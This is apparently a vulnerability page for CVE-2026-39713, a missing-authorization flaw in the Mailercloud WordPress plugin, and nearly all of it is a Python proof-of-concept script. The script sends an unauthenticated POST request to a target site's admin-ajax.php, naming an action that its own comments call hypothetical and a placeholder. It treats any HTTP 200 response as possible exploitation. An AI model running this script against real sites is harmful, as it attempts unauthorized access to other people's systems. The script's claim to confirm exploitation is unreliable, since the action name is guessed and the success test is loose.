CVE-2026-39713 Mailercloud插件缺失授权漏洞

#!/usr/bin/env python3 """ PoC for CVE-2026-39713 - Missing Authorization in Mailercloud Plugin This script demonstrates the exploitation of the broken access control vulnerability. """ import requests def exploit(target_url): # The vulnerable endpoint is typically wp-admin/admin-ajax.php ajax_url = f"{target_url}/wp-admin/admin-ajax.php" # Hypothetical action name based on plugin functionality payload = { "action": "mailercloud_sync_contacts", # This is a placeholder; actual action needs to be reverse engineered "data": "{\"test\":\"data\"}" } try: # Send request without authentication cookies response = requests.post(ajax_url, data=payload, timeout=10) if response.status_code == 200: print(f"[+] Request sent successfully to {target_url}") print(f"[+] Response: {response.text[:100]}...") print("[+] Potential exploitation confirmed if operation succeeded.") else: print(f"[-] Request failed with status code: {response.status_code}") except Exception as e: print(f"[-] An error occurred: {e}") if __name__ == "__main__": target = input("Enter target URL (e.g., http://localhost): ") exploit(target)